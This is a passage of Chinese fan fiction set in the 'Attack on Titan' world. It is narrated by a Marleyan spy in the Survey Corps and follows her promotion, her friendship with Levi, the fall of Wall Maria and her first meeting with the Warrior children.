我吐出一口浊气,强笑着说,“利威尔。如果哪天你发现我犯了不能被原谅的罪行,如果真的有那么一天,我希望,你能够亲自来处决我。”
我匆匆地擦掉了眼角的泪水,吸了吸鼻子,从地上爬起来,“我不打扰你了,你好好休息吧。明天见。”
没走几步,我又回头,看着那扇紧绷的门,轻轻地说,“利。你一定要活下去……长命百岁。”
或许除了我以外没人听得见。但这样更好。这只是一个没什么必要的祝福,仅仅如此。
我最终还是没有打开那扇门,利威尔也没有发出一点声响,天色暗下来了,我也累了,于是我收拾好自己就躺在床上。
而那时,我或许注意到了,也或许没有,我害怕暴露身份的同时,也渴望着有个人能来揭穿我。
5. 无形中射出的子弹
15.
和利威尔不一样的是,我没有因为法兰和伊莎贝尔的死难过多少时间。
人死而不可复活,活着的人还是要继续前进。我没有过多的时间来为他们难过,我不认为难过能够解决问题,但我尊重那些为死去的人哀悼的人们。
我很快就被委派了几份工作,一是登记死者信息名单,二是统计伤者情况,三是通知死者家属。
这也让我有几天没有去找利威尔,也没有去告诉德里克关于法兰和伊莎贝尔的事。
其实我很喜欢被忙碌的工作填满的感觉,这让我可以短暂地抛开间谍的那些事,还有关于马莱战士何时抵达的思考。
战士们必须主动和我接触。马莱政府在送他们来之前会先让他们记住我的长相和暗号,这样才能和我顺利对接。四年半,没有一个人找过我。
我真的很想问,战士们是不是被吃了。
很少的时刻,我会停下工作的时候,看向窗外,想到了那个关于死者会变成天上的星星注视生人的故事,我偶尔会感到愧疚。想到那些被我杀死的人,想到那些被我害死的人,想到那些因我而死的人。
但他们迟早会死的。我告诉我自己。
然后我又想到了这座岛上的人。我知道他们终究会因我而死,甚至被我杀死。坦白说,在这座岛上我已经杀过人了,只是治安条件落后,暂时没人发现。
我不知道当他们得以知道真相的那一天,又会是什么心情,又会以什么面孔去面对。那时候,我只希望他们直到死也不会知道真相。这太让人痛苦了。
但人类不会停止挖掘真相的脚步,而真相也不是无迹可寻。
在我完成了把死讯告知家属,这无人想去做的沉重的工作,我顶着最后一个家属给我脸上留下的巴掌印,拖着连续几天高强度工作没有休息的身子,回到了调查兵团。
正准备躺下去休息一会,就得知了基斯团长叫我过去。他通知我准备好证件,我马上要被提升为队长。
害,这下我可以安慰自己这个巴掌还是很值的。这几天夜以继日的工作奔波,也还是有回报。
升职是预料之中的事。但是有些突然。比我计划中的要早,尤其在调查兵团高层人员变动概率不大的基础上。我忍不住问,“是埃尔文怎么了吗?”
“不,他还活的好好的。这次死亡人数太多了,还有伤残的士兵。我们必须提拔几个新的队长,而他们有人推荐了你。”基斯说着,递给我一张表格,示意我把它填好,“你处理人际关系的能力可能不太够,但能力上确实没有质疑的地方。文书工作处理的很好,巨人砍伐数量也名列前茅。管教新兵是没有问题的。”
我没有预料到竟然是因为他人的推荐,短暂沉默了一下,又问,“还有谁跟我一起被提拔了吗?”
“……韩吉·佐耶。”
16。
我没有跟佐耶士兵说过话,哦我应该叫她韩吉,等等,她是女性,对吧?
尽管我确信此前我们没有交集,但她仍给我一种我们好像认识很久了的感觉。
她说,“我感觉伊莱扎你,一定是我会很感兴趣的类型。”听到这句话,我吓了半天,以为是我间谍的身份被发现了。事实证明,她没有发现,她只是个怪人。
韩吉在得知她要被升为队长后很兴奋,嘴里念叨着希望以后的队员是什么样的,我倒是没多大的期望,只希望遇到的人能够稍微省心点吧。
她又絮絮叨叨地跟我聊起了巨人,我没有回应她多少,怕一不小心说漏嘴,但她还是很积极,说完一堆之后,还感谢我认真听她说话。可我明明连回应她都没有做到。
又是一个奇怪的女人。我看见她填错了表格格式,忍不住提醒她,“韩吉,这一栏表格你填错了。”
“哦,好的,谢谢!”她笑起来的样子很傻,但她其实是个很聪明的人。别问我怎么知道,即使她此前和我没说过一句话,但作为一个间谍,我必须尽己所能了解敌军,尤其像是这种怪人。
17。
我们一大早就坐上马车准备跟着基斯团长去中央那里报备,韩吉很兴奋,或许是因为她崇拜基斯团长的原因,我没什么特别大的感觉,只是继续观察窗外的景象。
“说起来,伊莱扎你入兵团一年,我才知道原来你这么可爱!”
我尴尬地笑了笑,“是吗?你是第一个这么夸我的人。”
“嘛,”她说,“我本来以为我是没机会了,那个半路插过来的,叫利威尔的家伙太厉害了。”
基斯团长说,“他的忠诚还有待考量。”
我顿时觉得更尴尬了。因为全岛内最不忠诚的那个人,肯定是我,所以我决定岔开话题,“而且能力也不能决定一切。”
“是哦。”
“他脾气其实很差劲。”
“欸?!那我更期待了~”
韩吉凑过来,跟我看一扇窗户,我不明白她在干什么,但也没有出言阻止。她看了一会,就心满意足地坐回了她的位置。
我觉得整个调查兵团最正常的人是我。
她又说,“小伊莱扎你看上去和那个家伙关系很好哦?”
“不只是他,他死去的两个同伴也是,我以前还是训练兵的时候就认识了。”我回答,“但是关系也没有很好,只能说他算是一个比较重要的人吧。”
“果然很可爱啊。”
她是在说利威尔,对吧?毕竟我跟可爱半点边都搭不上。
……但利威尔,额……或许也能算可爱?
18。
拿到那个长官的头衔,我得了一天的空暇时间。据基斯团长说,这是给升职的人时间去调整,并告知家里人。他告诉我最好好好休息一下,接下来工作量会成倍增加。
“但是过了这段日子,就会好多了”他说。
我识趣地没问他,是工作量减少一些,还是习惯了超负荷工作量。只是抬起头悄悄打量了他稀疏的头发和乌青的黑眼圈,悲叹自己即将被奴役。
“你应该告诉你的家人,升职是一件大事。”
我仔细想了想看,一方面我没家人在墙里面,另一方面,我的家人都死透了。
但我还是把象征的徽章别在我的肩头,准备去找德里克,告诉他关于利威尔的事,法兰和伊莎贝尔的死。顺便炫耀我比他升职早这件事。
毫无疑问,我出门的时间很早,但我没有想到我能碰到利威尔,细想来,他一直都起的很早。其实我觉得那时候我还是有些尴尬的,我没有在伊莎贝尔和法兰死后给他过多的安慰,只是在他门口淅沥啪啦地说了一堆不明所以的话,然后画上一周多的时间扎在工作堆里。
他肯定听到过那些士兵说我“像个没感情的机器,根本不在意同伴的死活”。
我在地下街和调查兵团的时候是有些不一样的,在调查兵团我要更谨慎,地下街我要更轻松一些。
我上次看见他,还是刚回来的时候,都已经过去一周多了。
“你是要去找那个大少爷?”利威尔一直都叫德里克叫大少爷。
我点头,说:“他不知道你们上来的事,也不知道伊莎贝尔和法兰的死讯,我应该去告诉他。”
我觉得我应该悲伤地说起这件事,但没有。我异常平淡,利威尔听见了也很安静,没有什么情绪起伏。也可能是我看不懂他的眼睛。他的眼睛是黑色的,很纯粹的黑色。
“而且,我还得告诉他,我升职了。”
他瞥了一眼那个徽章,嗤了一声,说,“你还是个小鬼头揍我同伴的那一幕我还记得,现在你都变成队长了。”
他又提起刚见面的时候的事了,这让我有些羞恼,那个时候我因为屁股受伤,有些不知轻重缓急……
“你应该用上级的称呼来叫我,我是队长。”我抗议。
“伊莱扎队长。”他异常的顺从,这让我有点不习惯。他又念了一遍,有点嘲讽的口吻。
然后,又念了一遍。
“好了。好了。放过我吧,利威尔。”我知道了他想干什么,连忙阻止了他准备一直叫我“队长”的举动,“我没想到你竟然也会幽默。”
“我一直都很幽默。”
“哈哈。”我尴尬地笑了笑。
他瞥了我一眼,“只是你不太注意而已。”
19。
车夫几次回头看我和利威尔,他或许觉得我们是一对吵架的小情侣,一直絮絮叨叨地说,恋人之间要相互包容。
我懒得辩解,我还在想我该怎么跟德里克开口。
利威尔没有说话,他大概还没有脱离失去同班的痛苦。
“德里克那家伙住宿舍?”利威尔登上台阶的时候问,“看不出来。”
我回答,“他把宿舍整得跟酒店套房一样。”
“啊,果然。”
我和利威尔一路都很少交流,我自认为我和他都不是很喜欢说话的类型,现在看来,他大概一直在迁就我,因为他其实很多话,只是每次都在骂人,让人觉得话少。
反观我,我不喜欢说话,所以很少主动和人交流。我拍了拍他的肩,“辛苦你了,利威尔,忍我这么久。”
“啊,原来你这家伙也是有心的。”他嘲笑地看了我一眼,“包容你确实很辛苦。”
“说什么呢!”
我有些气,其实我只是想幽默一下,但貌似从来没有人能够明白我的幽默点。
我明明也是个会搞笑的人。
20。
遇见德里克后,他告诉我,“我和她表白了,现在我们在交往。”他在说他那个在做服务生的暗恋对象。
我面无表情
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地说,“哦,我不会给你结婚礼物的,我很穷,能养活自己就好了。”
利威尔看了我一眼,说,“同样。”
“喂我还没求婚呢!!”德里克的脸变得涨红,看来他是真的喜欢那个女孩。
“……只需要祝福到了就行。”他说这句话小声极了,我强行按耐住了挑逗他的欲望。
我点了点我的袖章,说,“我升职了,现在是队长。”
德里克愤愤不平地看着我,他一直嘟囔着要不是他家里事很多,他怎么可能现在都没升职。
大概是坠入爱河的人,脑子都会有点问题吧。也是,他们都是费尽心思想要抓住稍纵即逝事物的人,那么不切实际,那么天真。
被爱情蒙蔽了双眼的德里克,竟然想和我,利威尔赌钱。
呵,不是我吹,我可是赌神。
但我没想到,他竟然是用那种方式。
21。
“剪刀石头布!”
德里克不愧是大少爷,根本不知道真正的赌博是什么样。我看他神秘兮兮地说,要和我利威尔一起赌钱,还以为他终于疯了,结果赌的方式是石头剪刀布,赌的钱是商店的折扣卷,还是过期的。
但我有什么办法,这个大少爷只能顺他的意喽!
我看着我的布,利威尔的石头大笑了起来,“利威尔,你输了!哈哈哈!”
德里克也笑着说,“伊莱扎好狗,帮我一血前耻。”
我没管的上嘲讽利威尔,马上转过身去揍了德里一拳。
恍惚中,我似乎还看到了利威尔嘴角微微弯起。
德里克显然是看到了,他顾不上碰瓷,马上爬起来,“利威尔,你刚刚笑了?”
“没有,你看错了。”
“肯定笑了吧!扫帚大魔王竟然笑了!”
“哈?”
我幸灾乐祸,“德里克,都说了这个外号叫不得的,你死定了。”
德里克愤愤不平地嚷嚷着:“不公平!利威尔,这个外号是伊莱扎取的!”
接下来的画面依然很残暴,我跳过了。
22
我走出房门才想起,我没有告诉德里克关于伊莎贝尔和法兰死讯的消息。大概是他今天看上去很开心,我就没有忍心开口吧。
我跟利威尔说,“下次,我自己来找他,跟他说那件事吧。”
利威尔“嗯”了一声,我想他知道我说的是伊莎贝尔和法兰的死讯。有时候,在这些细枝末节的事情上,我才能感觉到我和利威尔确确实实是认识了几年。
等我和利威尔找到马车的时候,月亮都已经高高挂在天空上了,我想到了这个时候应该给自己心悦的人说一句,“今晚月色真美。”然后任由荷尔蒙在我们两个之间作祟,最后我和他在这个美丽的月色下,互相舔舐伤口。
但我旁边站着的是利威尔,他刚才才把我和德里克按在地上摩擦。
所以我仔细欣赏起美丽的月色,想着,美丽的月色也不一定是要和心上人一起分享,静静地感受难得的安静,闲暇的时刻。
就在我快要被这和月色一起席卷而来的困意击倒的时候,利威尔把我本来已经奔到月亮上的魂魄拽了回来,
“过了宵禁时间,走大门会被记过的吧。”
“……”我开口,“那只好翻墙了。”
利威尔和我的身手都很好,我们不需要拖着对方上墙,我蹲在墙头,看着利威尔跳下去,拿出了我难得一见的娇弱女子姿势,“利威尔……我恐高,你接着我,行不行?”
其实我不恐高,记忆中让我感到害怕的事物可不是这个,我只是突然想整他一下。
他瞪了我一眼,但还是乖乖地张开双臂。
我想到了德里克,我宿醉酒吧的时候,他一边数落我一边拖我回去也是这样的表情。
我缓缓挪动,从墙上蹦了下去。
有时候,我会觉得利威尔是很可靠的人,虽然他不久前才把我摁在地上揍,但他现在稳稳地托住我,尽力不让我受伤的样子很可靠。
我想到了我奶奶,脑子一抽,喃喃道,“利威尔,你好像我奶奶啊……”
“啊?”
23。
我洗完澡回到寝室后,看到我的书桌上放着那把我心心念念的匕首。
我想起那时候,法兰和德里克打赌,德里克输了,把我匕首赔给了法兰,结果最后掉到利威尔手里,利威尔说“如果我打赢了他,他就把匕首还给我。”
我想了很久,也没想到我什么时候打赢他了。
最后我得出了结论,他大概想嘲讽今天他完美碾压我这件事吧。
虽然有点气,但我的小宝贝匕首没做错任何事,于是我气鼓鼓地把这把匕首收进了我最下层的抽屉里,和我在未来会交给马莱的报告资料放在了一起。
6. 第 6 章
24
利威尔建议我还是告诉德里克关于伊莎贝尔和法兰的死讯,我就准备了一封长信,告知了他。
利威尔问我,“为什么不直接跟他说?”
我回答:“我不会安慰人。”
他嗯了一声,继续吃饭。
这个时候离他们死去也只过了一个月,我们两个都有些抗拒提到法兰和伊莎贝尔,当然,主要是我比较抗拒。
德里克并没有回复我那封信。
就这样过去了三个月,我们也没任何交流。他大概在生我气。
升上队长后,事情显而易见地变多了起来。我有时候一天只能睡上三个小时。
我偶尔在吃饭的时候碰到利威尔,会招呼着他一起吃饭,韩吉往往也和我一起,有时候我们还会和米可,埃尔文他们一起。
有次,韩吉突然跟我说,“哼哼,想不到利威尔这个人还挺好的。”
我有些不明所以,但是韩吉已经哼着歌走远了,我手上还有很多工作要处理,就没有去问她详情。
这个时候,我和艾尔迪亚士兵共情程度最高,每次做文书工作做到一半都忍不住骂死那群傻逼王政。当然,我很快安慰自己:他们越傻逼,对马莱就越有利,对我也越有利。
下午,我碰到了利威尔,他臭着一张脸,告诉我,“以后离韩吉佐耶那个女人远点。”
我下意识“哦”了一声,但又马上回过神来,“不,为什么?她是我同事,我不可能不理她。”
“嗯?”他皱了皱眉,“那我呢?”
我盯着他,认真地思考了一下,“你是我朋友。”
他盯着我,我们无言地对视了一会,其实我觉得有些尴尬,但总觉得先挪开目光就算我输了,就一直迎着他晦暗不明的双眼死死地盯着他。
老实说,他的眼神有点吓人,如果我是涉世未深的小孩,可能会被吓死,但我不是。
“所以,我更重要,对吧?离她远点。”他弹了我的脑袋。“那个混蛋四眼……”
“她跟你说了什么吗?”我揉了揉脑门。他的力气有点大。
“……”他的表情看上去就跟吃了屎一样。
我摆摆手,“算了,我不太想听。”
25。
下一次出墙的日程被批准下来了。
我终于放下了该死的文书工作,召开了一次需要记很多笔记的会议。
“这是最后的机会了。”基斯团长沉重地说。“我们必须做出点成绩。”
我很想安慰他,王政每次都说是最后一次机会,但没有那次是真的最后一次,放心吧。
不过看着严肃的会议氛围,我打消了这个念头。
埃尔文说,“我们可以朝森林……”
他在两个月前,晋升为了副团长。不得不说,埃尔文的点子多到我根本不打算记录他过多信息,只在他名字旁边写了句“此人非常危险,需提高警惕”,等战士们来了,我得把这份报告交给他们看。
那群小屁孩最好离埃尔文远点,这人城府太深了,他们那些小朋友斗不过的,而且肌肉也太大了吧!可恶!好羡慕!
我一如既往地只记笔记但没有一点放在心上,韩吉一如既往地趴在旁边写写画画,我有幸观摩过她的笔记,非常……震撼,胆大。有机会我得寄给德里克看看,说不定他就会被吓到理我呢?
会议结束后,我捧着笔记本,准备一溜烟跑出会议室,却被米可一把抓住后领。
他妈的,这群肌肉猛男,不能考虑一下像我这样弱不禁风的人的情绪吗?
我没好气地瞪着米可,“干嘛?”这大概是我第一次对他不礼貌地说话。
他说,“你去通知利威尔让他过来。团长要见他。”
我觉得有些不可理喻,“你为什么不自己去?”
他说,“我还没跟他处好关系。”
虽然不太情愿,但米可毕竟算是前辈。我就麻溜地在训练营到处跑,去找利威尔。
26。
这家伙明明只有一米六,我却怎么都抓不到他。
“利威尔?他在食堂。”
我去食堂,空无一人。
“啊,他大概回寝室换衣服了吧。”
我冒着被说偷窥狂的风险,爬窗翻进他寝室,没人。
“那个家伙……好像是往训练场去了?”
我在训练场茫茫人群中,顶着烈日找他,还没找到。
……
算了,累了,放弃,让米可自己等着吧。
难道是因为一米六个子娇小方便到处躲吗?我怎么都找不到他。
我躺在树下休息,感受阳光的温暖却不被它灼烧。这是我最喜欢待的地方,因为工作太多,我已经很久没来了,现在终于偷得闲。
我察觉有人站在我身旁,睁开双眼,看见了利威尔半弯着腰注视着我,微风拂过,空气里弥漫着阳光干燥温暖的味道,青草的清新苦涩的味道,还有风一丝丝牵引着过来的鲜花的令人心花怒放的芳香,我深深地望着他的双眼。
我笑着闭上眼,缓缓从地上撑起来,给了那个俊秀的人一个头槌。
“你不许骂我,不能生气,不能揍我。”我抢先开口。“我找你找了那么久?都放弃了。结果你自己过来了?你在逗我吗!”
当然,我就只敢蛮横这么一会,过后,我马上退开,离他远远的。
他揉了揉头,似乎有些无法理解为什么我的头那么硬,“我得到米可的通知,就去找团长了。他跟我说,你大概还在找我。”他的语气有些无奈,还有点恼火。
“然后,我看到你在这里晒太阳。睡得很舒服啊。”
我又往后退了一步,将眼神挪开,“我刚刚一直在找你。”
“知道,达里安说有个变态爬了男寝的窗子。”
“……”
我只好笑笑说,“你在说什么啊?那一定要保护好自己哦!哈哈……”
利威尔笑了笑,我更无地自容了。
他妈的,不要在这种这时候笑啊?他什么意思?
自那以后。调查兵团一直传言有个变态会爬寝室窗子。而且米可分队长总是莫名感觉身后有杀气。
对此,我只有一个看法:我与米可不共戴天。
27。
利威尔说上次团长找他是为了商量升职的事情,但我听他的意思,不是单纯升到队长,似乎是打算重开一个新的职位给利威尔。唉真羡慕……
“队长,下雨了。”我的队员,艾米丽突然说,打断了我的思绪,我让他们放慢脚步。
下雨不是个好兆头。上次下雨,损失了很多人。雨不会让巨人丧失体力,反而会让我们的视线范围受限。
“跟着我,我们加快脚步。”我在静待返回的命令和加速进程里选了后者,我想这样虽然不能快速察觉巨人的靠近,但雨天加快速度或许更有利。
我的队员都不太厉害,在原地等待这种选择只适合那种,百分百把握可以杀掉巨人的人。我可以做到在原地等待,把每一个试图靠近的巨人杀掉,但是我的队员不行。
如果他们死了,我会很难交差的。
这次主要的进军路线是森林里,我选的行进路线是在最宽的大路,如果有巨人要从树后面突然攻击,我们也会有个缓冲察觉的时间。
“伊莱扎!”我听到了韩吉的声音,马上勒紧缰绳。
她骑着马靠过来,“回去了。”
我皱了皱眉,“不继续前进了吗?”
她说,“右翼几乎全军覆灭。”<
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p>这次作战,基斯团长的计划是让几队负责行进,几队负责遇到巨人主动攻击,几队负责探索森林里的情况……大概是因为这是最后一次,他无论如何都希望能探索到什么关于巨人的信息。右翼,负责的便是遇到巨人主动出击。他们希望能发现关于巨人的更多情况。
“全灭?没有一个人活着?”我看见我的队员神色凝重。
“全灭。你这队的存活情况已经是我赶过来遇到的队伍里,情况最好的一支……你们只有一个人死亡?”
“还有个重伤。”我指了指在我们队中央位置的那个,“他的手臂被咬掉了。我们只做了紧急处理。”
韩吉骂了一句,她大概是也明白那个队员活不到回城墙,就算回了,也是半死不活。
“那我按着原定计划返回。”我跟她告别,转头对队员们说,“你们也听到了,这次损失惨重。我希望回程路上,每个人提高警惕,小心行进……艾米丽,照顾好达里安。”达里安就是那个断臂的队员。
“队长,”达里安用虚弱的声音叫我,我等待他继续说,“把我丢在这吧,我会拖累你们……”
艾米丽大叫着,“开什么玩笑?我们怎么可能把你丢在这?你会没命的!”
我让艾米丽安静,平静地说,“达里安,你的伤还不至于到要你命的地步,如果我把你丢在这,就是违背了军纪,你是想让我受处分吗?”
“……不是……”
“好,那就不要给我死撑着。我会带你回去,就算是尸体也要扛回去。别忘了你的女儿还在家里等你,你这次回去后,就可以领钱退休了。到时候好好带她去玩吧……”
“队长,”艾米丽咳了一声,“我们该出发了。”
我意识到我说的话太多了,有些不好意思:“……好,前进。”
28。
返回途上,我们遇到了一个巨人,不过我发现的比较早,而且它离我很近,我就解决了它。
幸好不是从后方来的,而是正面突击,我总是对后方的攻击处理不好。上一次,就是因为后面突然被巨人攻击,导致我损失了三个队员。
我看见了米可,他表情不太好,旁边也没有埃尔文,驾着马过去,问他,“怎么样?”
他声音有些沙哑,“桑吉,托塔克,薇薇亚死了。”
我无法将那三个名字和人对上号,所以我只是拍了拍他的肩膀。
看来埃尔文没死,我有些失望。
我觉得如果埃尔文能在战士们来之前死,对任务会有帮助,但我不太想亲自杀他,他在我的暗杀名单还排在后面呢。哦,顺便说明一下,这个暗杀名单我不一定要真的杀了他们,也可以只是重点关注,除开重要贵族以外,排在第一名的是皮克西斯司令,他也是个聪明人。
我讨厌聪明人。重复一遍,我讨厌聪明人!
我看见走在队伍前面的团长似乎跟人起了争执,他看上去很落寞,大概是信念都被摧毁了吧,据说他活生生看着跟着他的士兵被吃的只剩几个。
“太残酷了。”艾米丽说,她还在给达里安包扎,“他们说的话太难听了,死的人也太多了。”
我看了看堆在那里的残缺的不完整的尸体,身上带着伤的倦容满满的士兵,还有旁边围观民众的奚落声,赞同了艾米丽的说法。
“不过光凭这些事无法阻止人们探索的脚步的。”我对艾米丽说,“他们会一直追寻真相直到死。”
“能够死在追寻梦想的路上也是一种幸福。”
而疲倦的艾米丽没有听懂我的话。她双眼迷离,喃喃道,“为什么要带来这样的灾祸呢?”我想她说的灾祸,是吃人的巨人。
回去后,埃尔文告诉我们,他继任为团长了。
没过多久,真正的灾祸降临了。
7. 丧钟为谁而鸣
29。
今天是个和过去相比,没有任何区别的一天。
直到一道巨大的闪电,伴随着一声巨响,劈开了墙内虚伪的和平与繁荣。
人们突然意识到,这不是个普通的一天。
尤其是玛利亚城墙的居民。
这是注定用人类的血肉去祭奠的一天。
我知道,战争开始了。
30。
我呆在罗塞城墙内,但我透过窗户能看到这道闪电,精准地劈向城墙底。
这道闪电大概引起了王政的注意,但只要是战士们不在他们面前展现智慧巨人,那些王政都会像鸵鸟一样视而不见。
这个几年前见过的景象出现在我面前,使我有些怅惘。但我强行让自己镇定下来。
终于,四年了。战士们终于来了。
我看了看周围的同事,他们一无所知,不知道死神的镰刀已经快要抵达他们的心口。
“伊莱扎,这个文件,你看一下。”
我接过文件,心里悲伤地想着,身为间谍,我竟然要为了敌军,不分日夜地工作。
我有些期待和战士小鬼的会面。我认不得他们,但他们认得我,只要他们看见我,就一定会想办法和我取得联系。
战争在此刻,终于正式开始了……
我忍不住哼起了童谣。
31。
玛利亚城墙竟然破了。
他们这群战士疯了吧?明明可以选择不用破墙的方法。
我揉了揉眉心,跟着埃尔文去中央开会。
如果是挑选夜晚,用巨人的能力偷偷潜伏进来,确实是个麻烦的选择,他们得处理身份证明,找个落脚点,解决食宿问题……或许还有生活常识不通的问题,帕拉迪岛的生活几乎落后马莱一代。
但这正是为什么马莱要先派我过来啊?
混蛋!
你们这群家伙在玛利亚城墙边缘好好待着,我来接应不就好了吗?没有身份登记的人又不是一个两个?再说了,战士们不都是能饿个好几天的吗?
我一路骂骂咧咧,韩吉盯着我,有些好奇,“你在骂什么?”
我摇了摇头,又点了点头,咬牙切齿地说,“啊,骂中央那群家伙。”
这下可好,他们惊动了王政。王政一定有人能看出,破开城墙的是智慧巨人,我们惊动潜藏的敌军了。这样还怎么夺回始祖巨人?本来排查始祖巨人就够麻烦了,现在还得顶着被发现的风险。
我把这件事记在了报告书上,决意追问是谁下了这个作战指令。但是否要得到惩罚,还得在我们回马莱之后,询问将军。
我小心收拾了需要给战士阅读了解的文件后,主动申请去难民临时安置营。
我得去和战士们联系了。
31。
“难民太多了。”随我前来的是驻屯兵团的一名士兵,她说,“简直无法相信,你听说了吗?破开城墙的巨人的模样?”
“啊听说了。”我敷衍地回答,何止是听说,我还了解他们的战斗特点和弱点。
我敢说整个艾尔迪亚岛,没有人比我更了解巨人。
那个士兵继续说,“听说你是主动申请来这里的。”
我觉得她在强行找话题,不冷不热地回应了一句,“是的。”
“破墙之后,大家一定都更想往中央走了。”她说,“毕竟,谁也不知道,罗塞……”
我想安慰她,放心吧我会让那群小崽子不急着把城墙破了。
但最后我只说了一句,“谁知道呢?”
无论如何,这三座城墙最后存不存在都没有意义了,对于马莱而言,它要的是你们艾尔迪亚人的命,还有你们的保命稻草,根本没用的始祖巨人。
再坚固的城墙也挡不住马莱的侵略。
32。
难民营内一片狼藉,大部分人双目空洞无神。有人抱着头,蜷缩在角落里,神经兮兮地念叨着些话语。有人拿起酒瓶,沉醉于片刻的麻醉。有人本来是在发呆,突然尖叫着冲起来,把站在前面的人推到地上狠揍。
我穿着士兵的衣服,走过一个个难民中间。他们或许曾经穿着光鲜靓丽的衣服,整日谈声笑语,或许有自己深爱的家人与挚交……
这些场面对苟且一百年的墙内人而言或许很少见,有些心肠好的士兵和罗塞民众甚至红着眼看这一切,尽管他们什么也做不了。
但对我不是,岛外的世界无时无刻不在发生战争,内部的战争,马莱带来的战争,邻国争夺资源的战争。在战场上穿梭多年的我,早已对这些撕心裂肺的场景司空见惯。
这就是战争所带来的,而战争还没完全到来,战争也不会只带来这些。
我决定协助发放食物,这样战士们来领吃食时,或许会看见我。
我把面包递给面前的老人,他大概有八十岁了,他哆嗦着手接过去,声音细如蚊蝇,“谢谢你。”
我的心情有些复杂。我知道这样的老人,很快就会死的,无论是战争还是其它什么。他注定无法寿终正寝,安享晚年。有时候我会想,在这样的战争里,把食物分给这种老人,是不是一种浪费呢?
有这个想法的,不止我一个人。
一个强壮的青年人扑过去,把老人摔在地上,抢走了他手里的食物。旁边的人在叫好,老人尝试着起来,但终究还是又摔倒在地上。
我看不下去,直接过去抓住那个趴在地上吃面包的青年的头发,“你扰乱秩序了。”
那个青年大叫起来,“滚开,臭娘们!这食物给他也是浪费!应该给身强力壮的年轻人!我们才是劳动力!”
我扭过他的手臂,大概他的肘关节已经脱臼了,我听见我淡淡地说,“我知道,但是你扰乱秩序了。”
那个青年嗷嗷大叫起来,我松开了手,正对着过来围观的宪兵。
那个宪兵吹了声口哨,“小美女,没必要吧?”
他猥琐地打量过我的胸前,又哼了一声,“哟,是调查兵啊,难怪。你接下来是打算去把那个可怜的老人扶起来吗?真是善良。”
我站在他面前,用上我毕生的杀人气势,冷冷地看着他,“这个人违反了规矩,你想让我包庇他吗?看来你的官职很大,你的军衔在哪?”我指了指我的军衔。
那个宪兵有些退缩,我又继续说:“如果你想扶老人,那就扶吧,毕竟宪兵大人不就是为人民服务的吗?”
我转过身去,离开了这里。
那个宪兵似乎在民众的指点声里,将那个老人扶了起来,又让周围围观的群众滚蛋。
我站在发放食物的岗位上,看见那个老人勾着身子,把那个掉在地上被那个年轻人摇了几口的面包捡起来,拍了拍表面的灰尘,揣在他破旧的沾着血迹的大衣里。
战争开始了。我叹息。
32。
等面包领完后,我仍然待在原岗位没有离开。同样发行面包的驻屯兵问我怎么还不走,我告诉他们我打算收拾一下。
等那些驻屯兵走了,一个金发的小女孩朝我跑来,“你好。伊莱扎指挥。”
是战士。我强压心中的欣喜,扫视周围的情况,将纸笔递给她。我们的暗号是马莱文字。
她画了几笔,交给了我。
我问她,“你们几个人?”
她说,“三个。”
我嗯了一声。“到时候把将军的作战计划转述给
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我。”
她点头。
我看这是个高冷的女孩,“边走边说,介绍一下你自己。”
“亚妮·莱恩哈特。女巨人持有者。”
“好,你现在过去找你的同伴,我们在教堂后面的树林,那里有个空地,在那见面。”
她点头,我递给了她面包,“这是我的,你们吃吧。”
“我们领到了。”
“你们需要补充体力,从入墙开始就是硬仗了。”
她点头,接过面包。我嘱咐她,“你们做好心理准备,接下来我会问责做出破墙决定的那个人。你们太过激进了。”
她面色有些阴沉,但还是点头,向我告别,跑开了。
我去换了件不显眼的衣服,往会面地点走去。
33。
那三个小孩坐在那里,眼神坚定地望着我。
好吧,我是唯一的成年人,确实该多担当点,比如现在我就该问责了。
“你们没有必要破墙。”我强行按耐住心中的不满,“现在你们惊动王政了。”
“如果你们选择偷偷翻墙,我可以替你们处理好身份证明,食宿问题。不会引起任何人的怀疑。”
“说说看吧,为什么?你们当中谁下了这个指挥?”
“……是我”一个金发的男孩盯着我,“莱纳·布朗,铠甲巨人的持有者。”
看这个男孩身上的有些退缩但又强行表现自己的坚定,我更生气了,“哦?那你解释一下这个作战策略?”
“我们有个同伴被吃了。”另一个高瘦的男孩回答。
我不知道怎么接口,只好问,“他是什么巨人的拥有者?详细说明过程,我需要写一份报告,等我们在这里完事后,我得交给将军。”
“鄂之巨人……”
听完全过程,我也能理解莱纳这个小子做出这个决定的冲动的原因点在哪了。
我沉默了一会,“不要难过了。死去的人已经死去了。”
“你们做出的决定也改变不了。”
“好了,正式介绍一下吧,我是伊莱扎·达克,马莱“始祖夺回计划”的先遣人员,负责辅助你们完成任务的间谍,还有监督你们。”我把包里的文件拿了出来,“这是有关帕拉迪岛的生活状况,常识,及他们的体制等情况的抄录本。”
这个抄录本不是我的原笔记,是我一笔笔手抄上去的。
“有备注军方机密,请不要在它人面前提起。也请不要表现得你们得知这些消息。”这点应该他们知道,但联想他们破墙行为,我忍不住提醒他们。
“你把文件都带出来了吗?”阿尼问我。
“没有,这是抄本,原本在我的寝室,顺带一提,我在调查兵团潜伏。”
“如果有人潜入你的房间,那么我们的计划有败露的可能。”她指了指我画的立体机动器拆解图,“即便你用马莱的文字,他们看不懂,但这个图足以说明你的嫌疑。”
她说完,我的眼皮子就跳了一下。我把文件放哪了?和我的匕首一起直接放在了抽屉里……该死。
我沉思了一会,“你们先自己过着吧,破墙超出我的预料了,我得把那边的事安排好了再去安顿你们。”
“关于始祖巨人的预备,有几个嫌疑的贵族,但还不确定,到时候你们得自己去考察。”
但我快要走出去的时候又想起了什么,“你们不需要我帮忙安顿对吧?不要表现得认识我,出了这里,我们就是陌生人。”
“好好完成任务吧,战士们。”
我深吸一口气,“只有完成了任务,你们才能回家。”
而我和他们不一样,就算我完成了任务,我也回不去了。
8. 被子弹所击中的人
34。
“我们可以回去了。”和我同为调查兵的少年走过来告诉我,“王政已经颁布了难民安置的公告。”
“哦,那他们打算怎么办?”我随口问。
他沉默了一会,这才回答,“年轻力壮的,去开垦荒地。年老体弱的,去参加远征。他们要夺回玛利亚城墙。”
我停下了收拾的手,问,“我们的立体机动器设备不够吧?而且学习也是要花时间和人力的。玛利亚城墙里的人,就算只有老人也有几万呢。”
我闻到一股烟味,这个叫阿尔塔的少年已经抽起了烟,过了一会他才开口,“王政打算让他们直接参加玛利亚夺回战。”
说完,他蹲在地上大笑了起来,只吸了四分之一的烟掉在地上,我看了看牌子,好像很贵,但是他还是没有捡起来。
他站起来,用皮靴踩灭了烟,似乎又想拿一根,但还是把烟盒放回去。
他说,“王政在分配参加夺回战的辅助士兵。”
“我的父母是玛利亚城墙的难民,他们在那份参战名单里。”
“我决定主动参战。”
35。
